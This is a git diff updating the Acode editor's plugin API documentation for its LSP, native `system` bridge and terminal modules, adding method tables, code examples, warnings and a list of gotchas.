+| `lsp.runtimes.get(id)` | `(id: string) => LspRuntimeProvider \| null` | `null` when unknown. |
+| `lsp.runtimes.list()` | `() => LspRuntimeProvider[]` | All providers sorted by `priority` descending, ties broken by `id.localeCompare`. |
+| `lsp.runtimes.select(server, context?)` | `(server: LspServerDefinition, context?: LspRuntimeContext) => Promise<LspRuntimeProvider \| null>` | The winning provider, or `null`. Honors the settings override and `server.runtimes`. |
 
-- `lsp.runtimes.register(provider)`
-- `lsp.runtimes.unregister(id)`
-- `lsp.runtimes.get(id)`
-- `lsp.runtimes.list()`
-- `lsp.runtimes.select(server, context?)`
+`registerRuntimeProvider` and `unregisterRuntimeProvider` are the same functions under different names.
 
-### Workers <Badge type="tip" text="v1002+" />
+### Workers
 
 ```js
 const handle = lsp.workers.createTransport({
@@ -830,12 +959,235 @@ Available methods:
 
 - `lsp.workers.createTransport(options)`
 
+## Formatters and Diagnostics
+
+There is no formatter or diagnostics function on `acode.require("lsp")`. Both are wired through the server manifest's `clientConfig` instead, and Acode resolves them for you.
+
+### Formatting
+
+Acode registers **one** formatter named `lsp` (display name `Language Server`) at startup, via `registerLspFormatter(acode)` which `src/lib/acode.js` calls once while defining modules. When the user runs "Format":
+
+1. `supportsBuiltinFormatting(server)` filters candidates — it is `server.clientConfig?.builtinExtensions?.formatting !== false`, so a server opts out only with `builtinExtensions: { formatting: false }`.
+2. Candidates come from `getServersForLanguage(languageId)` (highest `priority` first) and are filtered by the same check.
+3. `lspClientManager.formatDocument(fullMetadata)` then walks the same candidates in `priority` order and uses the first one that resolves a runtime target **and** reports `serverCapabilities.documentFormattingProvider`. If a server returns no edits at all, formatting is treated as a success. Failures surface as the toasts `LSP formatter unavailable`, `Unknown language for LSP formatting`, `No LSP formatter available` or `LSP formatter failed`.
+
+There is no public "format now" call. The supported way to control formatting from a plugin is to opt in/out per server:
+
+```js
+lsp.upsert(
+  lsp.defineServer({
+    id: "my-language-server",
+    label: "My Language Server",
+    languages: ["mylang"],
+    command: "my-language-server",
+    args: ["--stdio"],
+    // Opt in to Acode's built-in hover / completion / signature / keymaps /
+    // diagnostics / formatting / document-color features for this server.
+    clientConfig: {
+      builtinExtensions: {
+        hover: true,
+        completion: true,
+        signature: true,
+        keymaps: true,
+        diagnostics: true,
+        formatting: true,
+        documentColors: true,
+        inlayHints: false,
+      },
+    },
+  }),
+);
+```
+
+### Diagnostics
+
+`builtinExtensions.diagnostics` (default `true`) adds the `textDocument/publishDiagnostics` handler, the `workspace/diagnostic/refresh` handler and the CodeMirror lint integration. Setting it to `false` disables them for that server only.
+
+The UI half — the lint gutter, the `linter()` extension and the panel wiring — is **global**, not per server. It comes from `clientManager.options.diagnosticsUiExtension`, which Acode sets from the `lintGutter` setting:
+
+```js
+appSettings.on("update:lintGutter", function (value) {
+  lspClientManager.setOptions({
+    diagnosticsUiExtension: lspDiagnosticsUiExtension(value !== false),
+  });
+  // ...
+});
+```
+
+To observe diagnostics from a plugin, register your own handler for the same method. Because the client merges `clientConfig.extensions` **after** the built-ins and drops `diagnosticsExtension` when one of your extensions declares `clientCapabilities.textDocument.publishDiagnostics`, doing this **replaces** Acode's handler for that server:
+
+```js
+lsp.upsert(
+  lsp.defineServer({
+    id: "my-language-server",
+    label: "My Language Server",
+    languages: ["mylang"],
+    command: "my-language-server",
+    args: ["--stdio"],
+    clientConfig: {
+      // Keep Acode's diagnostics UI. If you declare
+      // `clientCapabilities.textDocument.publishDiagnostics` on your own
+      // extension instead, Acode drops its diagnosticsExtension for this
+      // server and your handler becomes the only one.
+      extensions: [
+        {
+          notificationHandlers: {
+            "textDocument/publishDiagnostics": (client, params) => {
+              // params: { uri, version?, diagnostics: [{ range, severity, message }] }
+              const { uri, diagnostics } = params;
+              const errors = diagnostics.filter((d) => d.severity === 1).length;
+              console.log(`[mylang] ${errors} error(s) in ${uri}`);
+              return true; // returning true marks the notification handled
+            },
+          },
+        },
+      ],
+    },
+  }),
+);
+```
+
+::: warning Handlers are `(client, params) => boolean` and not awaited
+The contract is LSP-shaped: return `true` when you consumed the notification. Returning `false` leaves it available to other handlers in the chain, which is how you can observe without claiming.
+:::
+
+::: warning `clientConfig.notificationHandlers` for `window/*` and `$/progress` is not yours
+Acode builds the final handler map by spreading your handlers first and then assigning its own for `"window/logMessage"`, `"window/showMessage"` and `"$/progress"`, so those three always win. Every other method name is preserved.
+:::
+
+### Complete example: server + formatter + diagnostics <Badge type="tip" text="new" />
+
+```js
+// main.js — Acode loads plugins as *classic* scripts, so no top-level await
+// and no import/export statements. See core-file.md.
+const PLUGIN_ID = "com.example.plugin";
+const lsp = acode.require("lsp");
+const SERVER_ID = "my-plugin-toml";
+
+const server = lsp.defineServer({
+  id: SERVER_ID,
+  label: "TOML (plugin)",
+  languages: ["toml"],
+  enabled: true,
+  // One client shared across the whole workspace rather than one per root.
+  useWorkspaceFolders: true,
+  command: "taplo",
+  args: ["lsp"],
+  checkCommand: "command -v taplo",
+  startupTimeout: 15_000,
+  installer: lsp.installers.cargo({
+    executable: "taplo",
+    packages: ["taplo-cli"],
+  }),
+  initializationOptions: {
+    formatting: { enabled: true },
+  },
+  clientConfig: {
+    // Formatting is opt-out: "formatting !== false" enables it.
+    builtinExtensions: {
+      hover: true,
+      completion: true,
+      signature: true,
+      diagnostics: true,
+      formatting: true,
+      documentColors: false,
+    },
+    notificationHandlers: {
+      // Acode's own window/logMessage, window/showMessage and $/progress
+      // handlers always win; any other method name is preserved.
+      "my-plugin/telemetry": (client, params) => {
+        console.log("taplo telemetry", params);
+        return true;
+      },
+    },
+  },
+});
+
+// upsert() == register(entry, { replace: true }), so re-registering on a
+// plugin reload replaces rather than silently returning the old definition.
+lsp.upsert(server);
+
+// Read-only inspection.
+(async () => {
+  const registered = lsp.servers.get(SERVER_ID);
+  console.log(registered.id, registered.transport.kind, registered.languages);
+
+  // Which provider would run it for a given document?
+  const runtime = await lsp.runtimes.select(registered, {
+    uri: "file:///project/Cargo.toml",
+  });
+  console.log("runtime:", runtime ? runtime.id : "none");
+
+  // Which live clients does the editor hold for it right now?
+  for (const state of lsp.clientManager.getActiveClients()) {
+    if (state.server.id !== SERVER_ID) continue;
+    console.log("root:", state.rootUri);
+  }
+})();
+
+// Cleanup on plugin unload.
+acode.setPluginUnmount(PLUGIN_ID, () => {
+  lsp.servers.unregister(SERVER_ID);
+});
+```
+
 ## Client Manager
 
-The public client manager API is intentionally small.
+The public client manager API is intentionally small — two methods.
+
+### `clientManager.setOptions(options)` <Badge type="tip" text="corrected" />
+
+```ts
+setOptions(next: Partial<ClientManagerOptions>): void
+```
+
+A **shallow merge** into the live options object of the editor's single `LspClientManager` singleton:
+
+```ts
+this.options = { ...this.options, ...next };
+```
+
+| Option | Type | Default | Notes |
+| --- | --- | --- | --- |
+| `diagnosticsUiExtension` | `Extension \| Extension[]` | unset | Appended to *every* server's merged extension list. Acode sets it from the `lintGutter` setting. |
+| `clientExtensions` | `Extension \| Extension[]` | unset | Appended to every server's client, after the built-ins. |
+| `resolveRoot` | `(context: RootUriContext) => Promise<string \| null>` | unset | Acode uses it to compute the workspace root. |
+| `displayFile` | `(uri: string) => Promise<EditorView \| null>` | unset | Focus an already-open editor for a URI. |
+| `openFile` | `(uri: string) => Promise<EditorView \| null>` | unset | Open a URI and return its editor view. |
+| `resolveLanguageId` | `(uri: string) => string \| null` | unset | Per-URI language resolution for the workspace file list. |
+| `clientIdleGracePeriodMs` | `number` | `DEFAULT_CLIENT_IDLE_GRACE_PERIOD_MS` = `15000` | Delay before an unreferenced client is reported idle. |
+| `onClientIdle` | `(info: ClientIdleInfo) => void` | unset | `info` is `{ server, client, rootUri, dispose }`; `dispose()` tears down **only that** idle client. |
+| `allowNonTerminalWorkspace` | `boolean` | `false` | Lets `builtin-alpine` serve a workspace it cannot reach natively, by falling back to the cache file. |
+
+::: danger Do not call this to "reset" options
+`setOptions` merges, it never resets, and the editor itself keeps writing to the same object. Setting `diagnosticsUiExtension: []` — as older versions of this page suggested — does not disable anything for your plugin: it **overwrites the editor's lint gutter and diagnostics panel** for every server until the user toggles the `lintGutter` setting again. If you want your own CodeMirror extensions applied to every LSP client, use `clientExtensions` and do not touch `diagnosticsUiExtension`.
+
+There is also no read-back accessor: `setOptions` returns `undefined` and the manager exposes no `getOptions()`, so you cannot restore a previous value yourself.
+:::
+
+### `clientManager.getActiveClients()`
+
+```ts
+getActiveClients(): ClientState[]
+```
+
+Returns `Array.from(this.#clients.values())` — a snapshot array of every **currently initialized** client. It excludes clients still initializing (`#pendingClients` is a separate map) and is not live; call it again to refresh.
+
+Each `ClientState` is:
+
+| Field | Type | Description |
+| --- | --- | --- |
+| `server` | `LspServerDefinition` | The normalized server definition this client belongs to. |
+| `client` | `LSPClient` | The `@codemirror/lsp-client` instance. |
+| `transport` | `TransportHandle` | `{ transport, dispose, ready }` for the underlying transport. |
+| `rootUri` | `string \| null` | Normalized workspace root, or `null` for document-scoped clients. |
+| `attach` | `(uri: string, view: EditorView, aliases?: string[]) => void` | Bind this client to a document. |
+| `detach` | `(uri: string, view?: EditorView) => void` | Unbind. |
+| `dispose` | `() => Promise<void>` | Tear down this client. |
 
 ```js
 lsp.clientManager.setOptions({
+  // Not recommended — see the warning above.
   diagnosticsUiExtension: [],
 });
 
@@ -843,11 +1195,6 @@ const activeClients = lsp.clientManager.getActiveClients();
 console.log(activeClients);
 ```
 
-Available methods:
-
-- `lsp.clientManager.setOptions(options)`
-- `lsp.clientManager.getActiveClients()`
-
 ## Important Types
 
 ### `LspMessageTransport`
@@ -868,11 +1215,11 @@ Object returned by transport factories and by `lsp.workers.createTransport()`.
 - `dispose`: Function that cleans up the transport.
 - `ready`: `Promise<void>` that resolves when the transport is ready.
 
-### `LspWorkerTransportOptions` <Badge type="tip" text="v1002+" />
+### `LspWorkerTransportOptions`
 
 Options for `lsp.workers.createTransport(options)`:
 
-- `url`
+- `url` (required)
 - `name?`
 - `serverId?`
 - `startupTimeout?`
@@ -902,21 +1249,30 @@ Runtime providers return one of these shapes from `start()`.
 }
 ```
 
+`protocols` and `dispose` are optional in both shapes.
+
 ### `LspRuntimeContext`
 
-Context passed to runtime providers.
+Context passed to runtime providers. It extends `TransportContext`:
 
-- `uri`
-- `file`
-- `view`
-- `languageId`
-- `rootUri`
-- `originalRootUri`
+- `uri`, `file`, `view`, `languageId`, `rootUri`, `originalRootUri`, `debugWebSocket`, `dynamicPort` — from `TransportContext`
 - `documentUri`
 - `originalDocumentUri`
-- `serverId`
-- `workspaceKind`: One of `"app-private"`, `"builtin-alpine"`, `"termux-saf"`, `"saf"`, `"remote"`, `"proot-distro"`, `"virtual"`, or `"unknown"`.
+- `serverId` — defaults to `server.id`
+- `workspaceKind` — derived by `inferWorkspaceKind()` when the caller does not set it. The declared type is `"app-private"`, `"builtin-alpine"`, `"termux-saf"`, `"saf"`, `"remote"`, `"proot-distro"`, `"virtual"` or `"unknown"`; see [Runtime Providers](#runtime-providers) for which of those Acode actually produces.
 - `allowNonTerminalWorkspace`
+- `runtimeAction` — one of `"checkInstallation"`, `"install"`, `"uninstall"`, `"command"` when the provider is being asked for install metadata rather than a connection
+
+### `LspRuntimeUriResolutionContext`
+
+`resolveUris()` receives this instead. It is `LspRuntimeContext` plus:
+
+- `originalDocumentUri` (non-optional `string`)
+- `originalRootUri` (`string | null`)
+- `normalizedDocumentUri` (`string | null`)
+- `normalizedRootUri` (`string | null`)
+
+and returns `{ documentUri?, rootUri?, scope? }` where `scope` is `"workspace"` (default) or `"document"`. Document scope starts a separate client per document.
 
 ## Best Practices
 
@@ -926,5 +1282,24 @@ Context passed to runtime providers.
 - Use `useWorkspaceFolders: true` for heavy workspace-aware servers.
 - If the server cannot see Acode's file paths, define `documentUri` and usually `rootUri`.
 - Runtime plugins should register their own server definitions instead of taking over built-in Acode server ids.
-- For Web Worker language services, use `lsp.workers.createTransport()` <Badge type="tip" text="v1002+" />.
-- Set `minVersionCode` to `1002` when your plugin requires the worker transport API.
+- For Web Worker language services, use `lsp.workers.createTransport()`.
+- Feature-detect `lsp.workers?.createTransport` rather than declaring a `minVersionCode`; see the [Worker Transport](#worker-transport) section.
+
+## Gotchas <Badge type="tip" text="new" />
+
+- **`register()` does not throw on a duplicate id.** `registerServer()` returns the *already registered* definition when `replace` is not set. Only the bundle-ownership case throws: claiming a server id that another bundle already owns without `replace: true` throws `LSP server <id> is already provided by <owner>; <bundle> must replace explicitly`.
+- **Validation happens before registration, and it throws.** A raw manifest must have a non-empty `id`, a non-empty `languages` array, and — for `transport.kind: "stdio"` — a `transport.command`. `websocket` needs a `transport.url` **or** a `launcher.bridge.command`. Any managed installer (`kind` other than `shell`) must declare `install.binaryPath` or `install.executable`.
+- **Ids are normalized.** Server ids, runtime provider ids, `languages` entries and `runtimes` entries are all trimmed and lowercased. `label` defaults to the id, `priority` to `0`, `enabled` to `true` (only `enabled === false` disables), `useWorkspaceFolders` to `false` (only `=== true` enables it), and `rootUri` / `documentUri` / `resolveLanguageId` to `null` when they are not functions.
+- **`defineServer()` sets `transport.kind` to `"websocket"`; a raw manifest defaults to `"stdio"`.**
+- **`capabilityOverrides` is dead in v1.13.5.** It is declared in `types.ts`, accepted by `defineServer()` and stored by `sanitizeDefinition()`, but nothing in `src/` ever reads it. To change capabilities, use `clientConfig.extensions` / `clientConfig.clientCapabilities`.
+- **`clientConfig.notificationHandlers` cannot override `window/logMessage`, `window/showMessage` or `$/progress`.** Acode spreads your handlers first and then assigns its own for those three keys, so yours are silently replaced. Any other method name you add is kept.
+- **`server.startupTimeout` is copied into `clientConfig.timeout`** (unless you set one yourself), where it becomes the LSP client connect timeout — it does not bound the Web Worker startup, which is `lsp.workers.createTransport({ startupTimeout })`.
+- **`inlayHints` is opt-in.** Every other `clientConfig.builtinExtensions` flag is opt-out (`!== false`); `inlayHints` must be `true`.
+- **Adding a server after startup does not extend the LSP formatter.** `registerLspFormatter(this)` runs once during Acode's module definition and snapshots `serverRegistry.listServers()` at that moment to build its extension list. A plugin server registered later is not in that list unless the snapshot happened to be empty (`["*"]`), so "Format" may not appear for your language. Formatting still works through the client manager if the command is invoked.
+- **Registering `textDocument/publishDiagnostics` yourself suppresses Acode's built-in diagnostics extension** for that server — `wantsCustomDiagnostics` makes the client drop `diagnosticsExtension` from the merged extension list.
+- **`lsp.bundles.unregister(id)` also unregisters every server the bundle owned.**
+- **`lsp.bundles.getForServer()` takes a *server* id**, not a bundle id.
+- **`runtimes.select()` can return `null`** (no provider's `canHandle()` matched). Nothing throws in that case; the client manager just logs `Cannot resolve runtime or document URI for LSP server <id>` and skips that server.
+- **Settings can override your runtime.** `settings.lsp.runtime.*` is consulted before `canHandle()`, so a user's choice can route your server to a provider you did not expect (or fail and fall through).
+- **`resolveUris()` only runs for the selected provider**, after selection, so one runtime cannot rewrite another runtime's documents.
+- **Bundled built-in servers may be handed to the web-worker runtime regardless of `server.runtimes`** — `web-worker.canHandle()` checks only the server id, so registering your own server under a bundled id takes it over. Do not reuse `html`, `css`, `json` or `typescript`.
diff --git a/docs/advanced-apis/system.md b/docs/advanced-apis/system.md
index 923542c..b23f70d 100644
--- a/docs/advanced-apis/system.md
+++ b/docs/advanced-apis/system.md
@@ -6,6 +6,19 @@ The `system` module wraps Acode's native Android bridge (`cordova-plugin-system`
 const system = window.system;
 ```
 
+::: warning `acode.require("system")` returns `undefined`
+`system` is a **Cordova clobber**, not an Acode module. `src/lib/acode.js` never calls `this.define("system", …)` — the only modules it registers are listed in its constructor, and `system` is not among them (`require()` is a plain lookup in the private `#modules` map, so an unregistered name yields `undefined`).
+
+| Access | Works? |
+| --- | --- |
+| `acode.require("system")` | ❌ returns `undefined` |
+| `window.system` | ✅ |
+| `globalThis.system` | ✅ |
+| Bare `system` | ✅ (same global, don't shadow it) |
+
+Note the case-insensitive lookup: `require()` lower-cases the module name, so neither `"system"` nor `"System"` resolves.
+:::
+
 Most methods are callback-based (`(success, error) => void`). Wrap them with `helpers.promisify` when you prefer promises:
 
 ```js
@@ -13,11 +26,27 @@ const helpers = acode.require("helpers");
 const filesDir = await helpers.promisify(system.getFilesDir);
 ```
 
+::: tip `promisify` appends the callbacks for you
+`helpers.promisify(func, ...args)` calls `func(...args, resolve, reject)`, so leading arguments are passed positionally:
+
+```js
+const parent = await helpers.promisify(system.getParentPath, "/a/b/c.txt");
+```
+
+The `system` methods never read `this`, so destructuring them (`const { getFilesDir } = system`) is safe.
+:::
+
+::: danger No plugin-declared permission gates any of this
+The Android permissions these methods depend on are merged into the **app's** manifest at build time by the plugin's own `plugin.xml`, so they are already granted to Acode. A plugin *can* declare a `permissions` array in its manifest, but that array is read only by the native `Tee` plugin, which copies the strings into a **token-scoped** list that `ctx.grantedPermission()` / `ctx.listAllPermissions()` echo back — nothing in `src/` consults it before dispatching a `System` action, and there is no consent prompt.
+
+So any installed plugin can call `system.*` freely, including `launchApp`, `httpStream` and the storage-manager helpers. Treat the module as fully trusted, and never forward untrusted input straight into it.
+:::
+
 ## Files
 
 ### `getFilesDir(success, error)`
 
-Resolves the app's internal files directory path.
+Resolves the app's internal files directory path. This is the `$PREFIX` used by the terminal/Executor sandbox.
 
 ```js
 const filesDir = await helpers.promisify(system.getFilesDir);
@@ -29,7 +58,7 @@ Resolves the parent directory of `path`.
 
 ### `listChildren(path, success, error)`
 
-Lists the children of a directory path.
+Lists the children of a directory path. Success receives an array of entries.
 
 ### `mkdirs(path, success, error)`
 
@@ -37,7 +66,11 @@ Recursively creates directories.
 
 ### `fileExists(path, countSymlinks, success, error)`
 
-Checks whether a file exists. `countSymlinks` is a boolean passed as a string.
+Checks whether a file exists. `countSymlinks` is a boolean passed as a string (`String(countSymlinks)`). Success receives a **number**, not a boolean — compare with `result == 1`, which is exactly what Acode's own `Terminal.js` does.
+
+```js
+const exists = (await helpers.promisify(system.fileExists, path, false)) == 1;
+```
 
 ### `copyToUri(srcUri, destUri, fileName, success, error)`
 
@@ -61,11 +94,15 @@ Marks a file path as executable (`executable` is a boolean passed as a string).
 
 ### `extractAsset(assetName, destinationPath, success, error)`
 
-Extracts an app asset to a destination path.
+Extracts an app asset to a destination path. Used by the terminal installer to unpack `alpine.rootfs`.
 
 ### `getNativeLibraryPath(success, error)`
 
-Resolves the directory where native libraries are stored.
+Resolves the directory where native libraries are stored. This is `$NATIVE_DIR`.
+
+::: warning Defined twice
+`getNativeLibraryPath` appears twice in `www/plugin.js` with an identical body; the second definition wins. Behaviour is unchanged, but do not be surprised by the duplicate.
+:::
 
 ## Storage management
 
@@ -93,7 +130,7 @@ Checks whether the app is currently an external storage manager.
 
 ### `hasPermission(permission, success, error)`
 
-Checks whether a runtime permission is granted.
+Checks whether a runtime permission is granted. `permission` is an Android manifest constant such as `android.permission.CAMERA`. Success receives a boolean.
 
 ### `requestPermission(permission, success, error)`
 
@@ -107,11 +144,11 @@ Requests multiple runtime permissions at once.
 
 ### `getAppInfo(success, error)`
 
-Resolves information about the Acode app.
+Resolves information about the Acode app: `{ versionName, versionCode, label, firstInstallTime, lastUpdateTime }`.
 
 ### `getInstaller(success, error)`
 
-Resolves the package that installed the app (used for `window.appInstallSource`).
+Resolves the package that installed the app (used by `window.appInstallSource`).
 
 ### `getAndroidVersion(success, error)`
 
@@ -119,11 +156,11 @@ Resolves the Android OS version.
 
 ### `getArch(success, error)`
 
-Resolves the device architecture (e.g. `arm64-v8a`).
+Resolves the device architecture (e.g. `arm64-v8a`). Acode's terminal installer uses this to pick the proot/axs/Alpine bundle, and supports only `arm64-v8a`, `armeabi-v7a` and `x86_64`.
 
 ### `getWebviewInfo(success, error)`
 
-Resolves WebView information (used by the terminal's engine detection).
+Resolves WebView information: `{ versionName, packageName, versionCode }`. Used by the About page and by `acode.exec("…")` device-info output to report the WebView build.
 
 ### `isPowerSaveMode(success, error)`
 
@@ -131,7 +168,7 @@ Checks whether the device is in power-save mode.
 
 ### `getGlobalSetting(key, success, error)`
 
-Reads a global Android setting by key.
+Reads a global Android setting by key. Acode reads `animator_duration_scale` from here to match system animation timing.
 
 ### `clearCache(success, error)`
 
@@ -141,27 +178,32 @@ Clears the app's cache.
 
 ### `fileAction(fileUri, filename, action, mimeType, error?)`
 
-Launches an Android intent for a file. `action` is one of `VIEW`, `EDIT`, `SEND`, or `RUN` (the app prepends `android.intent.action.`). Arguments are flexible: `system.fileAction(uri, filename, action, mimeType, onFail)`.
+Launches an Android intent for a file. `action` is one of `VIEW`, `EDIT`, `SEND`, or `RUN` (the app prepends `android.intent.action.`). Arguments are flexible: the wrapper inspects argument types and shifts them, so all of `fileAction(uri, filename, action, mimeType, onFail)`, `fileAction(uri, action, mimeType, onFail)` and `fileAction(uri, action, onFail)` work. When an optional callback slot is not a function it is replaced with a no-op.
 
 ```js
 system.fileAction(fileUri, filename, "VIEW", "text/plain");
 ```
 
+::: warning `fileAction` never reports success
+The success callback is hard-coded to an empty function inside the wrapper, so only `onFail` is ever invoked. If you need to know whether the viewer opened, check the resulting file state yourself.
+:::
+
 ### `shareText(text, success, error)`
 
 Shares a text string through the system share sheet.
 
 ### `openInBrowser(src)`
 
-Opens a url in the system browser.
+Opens a url in the system browser. Both callbacks are `null`, so failures are silent.
 
 ### `inAppBrowser(url, title, showButtons, disableCache)`
 
-Opens a url in Acode's in-app browser. Returns an object with `onOpenExternalBrowser` and `onError` callbacks that can be assigned:
+Opens a url in Acode's in-app browser. Returns an object with `onOpenExternalBrowser` and `onError` callbacks that can be assigned. Both start as `null`; if the native layer fires before you assign them, Acode logs `handler is not set` / `error callback not handled` and the event is lost.
 
 ```js
 const browser = system.inAppBrowser(url, title, true, false);
 browser.onOpenExternalBrowser = (url) => console.log("opened externally", url);
+browser.onError = (err) => console.error(err);
 ```
 
 ### `launchApp(app, className, extras?, success?, error?)`
@@ -184,6 +226,10 @@ system.launchApp(
 
 Adds a home-screen shortcut. `shortcut` is `{ id, label, description, icon, action, data }`.
 
+::: warning `addShortcut` assigns to an undeclared global
+The wrapper reads `shortcut.action` into a bare `action` identifier that was never declared with `var` alongside the other fields. The correct value is still passed to the native layer, but a global `window.action` is created as a side effect in sloppy mode. There is no fix on the JavaScript side — use the value yourself and don't read `window.action`.
+:::
+
 ### `removeShortcut(id, success, error)`
 
 Removes a shortcut by id.
@@ -194,21 +240,21 @@ Pins a shortcut.
 
 ### `pinFileShortcut(shortcut, success, error)`
 
-Pins a file shortcut.
+Pins a file shortcut. Unlike `addShortcut`, the object is forwarded to native **whole** — its shape is `{ id, label, description?, icon?, uri }` (`uri` is required), and it is not flattened into positional args.
 
 ## Intents
 
 ### `getCordovaIntent(success, error)`
 
-Resolves the intent that launched the app (for handling external open requests).
+Resolves the intent that launched the app (for handling external open requests): `{ uris?, action, data, type, package, extras }`.
 
 ### `setIntentHandler(handler, onerror)`
 
-Registers a handler for intents received while the app is running. `handler` receives the intent data.
+Registers a handler for intents received while the app is running. `handler` receives the intent data. Note the handler is passed as the **success** callback of a single-shot native call, so it fires once.
 
 ## Text comparison
 
-Used by the editor's dirty-tracking and file-change detection. Both methods compare in a background thread.
+Used by the editor's dirty-tracking and file-change detection. Both methods compare in a background thread. Unlike everything else in this module they are **promise-based already** — no `promisify` needed. Each resolves `true` when the values **differ**, `false` when they match.
 
 ### `compareFileText(fileUri, encoding, currentText): Promise<boolean>`
 
@@ -226,12 +272,92 @@ const changed = await system.compareFileText(file.uri, file.encoding, text);
 
 ### `setUiTheme(systemBarColor, theme, success?, error?)`
 
-Sets the Android system bar colors to match a theme. `systemBarColor` is a hex color; `theme` is the theme id. A pure white color is mapped to `#fffffe` so status bar icons stay visible.
+Sets the Android system bar colors to match a theme. `systemBarColor` is a hex color; `theme` is the theme id. A pure white color is mapped to `#fffffe` (both `#ffffff` and `#ffffffff` are rewritten) so status bar icons stay visible. On success the wrapper also calls `window.statusbar.setBackgroundColor(systemBarColor)` before invoking your `onSuccess`.
 
 ### `setInputType(type, success, error)`
 
-Changes the soft-keyboard input type.
+Changes the soft-keyboard input type. Acode uses this to switch between `NORMAL` and the app's configured keyboard mode when dialogs open and close.
 
 ### `setNativeContextMenuDisabled(disabled, success, error)`
 
-Enables or disables the native context menu on the WebView.
+Enables or disables the native context menu on the WebView. The flag is coerced with `String(!!disabled)`. Use it when you render your own long-press menu.
+
+## HTTP streaming <Badge type="tip" text="new" />
+
+### `httpStream(url, options?): Promise<Response>`
+
+Performs an HTTP request and streams the response body to JavaScript as a WHATWG `ReadableStream` of `Uint8Array` chunks. This is the one member of the module that returns a real `Response`, and the most useful one for plugins that consume SSE or large downloads.
+
+| Option | Type | Default | Notes |
+| --- | --- | --- | --- |
+| `method` | `string` | `"GET"` | |
+| `headers` | `Record<string, string>` | — | Normalised into a `Headers` object |
+| `body` | `string` | — | Sent as UTF-8 unless `bodyIsBase64` |
+| `bodyIsBase64` | `boolean` | `false` | Body is base64-decoded |
+| `followRedirects` | `boolean` | `true` | |
+| `connectTimeout` | `number` | `30000` | ms |
+| `readTimeout` | `number` | `0` | ms, `0` = no timeout |
+| `chunkSize` | `number` | `32768` | Requested native chunk size in bytes |
+| `signal` | `AbortSignal` | — | Aborting cancels the native request |
+
+```js
+const res = await system.httpStream("https://example.com/events", {
+  signal: controller.signal,
+});
+
+const reader = res.body.getReader();
+const decoder = new TextDecoder();
+let buffer = "";
+
+while (true) {
+  const { value, done } = await reader.read();
+  if (done) break;
+
+  buffer += decoder.decode(value, { stream: true });
+  const lines = buffer.split("\n");
+  buffer = lines.pop();
+  for (const line of lines) {
+    if (line.startsWith("data:")) onEvent(line.slice(5).trim());
+  }
+}
+```
+
+::: warning Chunk boundaries are arbitrary
+The native layer does **no** parsing at all — no SSE, no provider-specific framing — it just forwards raw byte chunks, which may split multi-byte UTF-8 characters in half. Buffer and decode yourself, as above. A 4xx/5xx status is a normal response (the promise resolves); only transport failures reject. Cancelling the reader (or aborting `options.signal`) cancels the underlying native request; if headers had not arrived yet the promise rejects with an `AbortError`, otherwise the stream is errored.
+:::
+
+## App icon <Badge type="tip" text="new" />
+
+### `setAppIcon(iconName, success, error)`
+
+Changes the app launcher icon at runtime. Pass `"default"` to restore the original.
+
+Valid ids: `default`, `pro`, `midnight_circuit`, `aurora_pulse`, `terminal_glow`, `solar_flare`, `blueprint`, `pixel_party`, `prism`, `porcelain`, `tangerine`, `tidal`, `lilac`, `volt`, `cobalt`, `glacier`. (`pro` additionally requires the Pro purchase.)
+
+::: warning Cosmetic only
+This changes the launcher icon of the whole Acode app — it is not per-plugin and it affects every user of that install. Use it from an explicit user action in your plugin's settings, and restore `"default"` when disabled.
+:::
+
+## Reward status <Badge type="tip" text="new" />
+
+### `getRewardStatus(success, error)`
+
+Resolves the state of Acode's "remove ads" reward pass as either a JSON **string** or a plain string — Acode's own wrapper `JSON.parse`s whichever it gets:
+
+```js
+{
+  isActive, canRedeem, redeemDisabledReason,
+  adFreeUntil, lastExpiredRewardUntil, remainingMs,
+  redemptionsToday, remainingRedemptions, maxRedemptionsPerDay,
+  maxActivePassMs, hasPendingExpiryNotice, expiryNoticePendingUntil,
+  grantedDurationMs?, appliedDurationMs?, offerId?
+}
+```
+
+### `redeemReward(offerId, success, error)`
+
+Redeems an offer and resolves with the same shape. Both take callbacks, not promises.
+
+::: warning Ad-gating logic lives in Acode
+Acode's own ads check is `!config.HAS_PRO && adRewards.canShowAds()`, so a redemptions UI belongs to Acode's settings, not to your plugin. A plugin that surfaces `getRewardStatus()` is exposing Acode's monetisation internals and will show numbers that disagree with what Acode actually enforces — check `config.HAS_PRO` and prefer not shipping this UI at all.
+:::
\ No newline at end of file
diff --git a/docs/advanced-apis/terminal.md b/docs/advanced-apis/terminal.md
index f99a8c9..7d4ab75 100644
--- a/docs/advanced-apis/terminal.md
+++ b/docs/advanced-apis/terminal.md
@@ -1,6 +1,6 @@
 # Terminal
 
-The `terminal` module exposes Acode’s xterm.js-based terminal. Require it with `acode.require('terminal')` to create terminals, manage sessions, and add themes.
+The `terminal` module exposes Acode’s xterm.js-based terminal. Require it with `acode.require('terminal')` to create terminals, manage sessions, add themes, and register touch-selection "More" actions.
 
 ## Import
 
@@ -14,16 +14,20 @@ The module exposes these methods:
 
 - `create(options)`: Creates a new terminal tab. Returns an instance object.
 - `createLocal(options)`: Creates a local-only terminal (no backend).
-- `createServer(options)`: Creates a server-connected terminal when available(By default it will connect to Alpine).
-- `get(id)`: Returns a terminal instance by id or null.
-- `getAll()`: Returns a Map-like collection of all terminals.
-- `write(id, data)`: Writes text to a terminal (ANSI supported). This only write input into the terminal, **it does not automatically submit/execute shell commands**. To execute a command, include a line ending (carriage return/newline) such as `\r` or `\r\n`.
+- `createServer(options)`: Creates a server-connected terminal (by default it connects to the Alpine/AXS sandbox).
+- `get(id)`: Returns a terminal instance by id, or `null`.
+- `getAll()`: Returns the live `Map` of all terminals.
+- `write(id, data)`: Writes text to a terminal (ANSI supported). This only writes input into the terminal, **it does not automatically submit/execute shell commands**. To execute a command, include a line ending (carriage return/newline) such as `\r` or `\r\n`.
 - `clear(id)`: Clears a terminal screen.
-- `close(id)`: Closes and disposes a terminal.
-- `themes.register(name, theme, pluginId)`: Adds a custom theme.
-- `themes.unregister(name, pluginId)`: Removes a theme registered by your plugin.
-- `themes.get(name)`: Returns a theme by name.
-- `themes.getAll()`: Returns an object map of all themes.
+- `close(id)`: Closes and disposes a terminal session.
+- `moreOptions.add(option)`: Registers a touch-selection "More" menu entry.
+- `moreOptions.remove(id)`: Removes a previously registered entry.
+- `moreOptions.list()`: Returns an array of the registered entries.
+- `touchSelection.moreOptions`: The **same object** as `moreOptions` (alias).
+- `themes.register(name, theme, pluginId)`: Adds a custom theme. Returns a `boolean`.
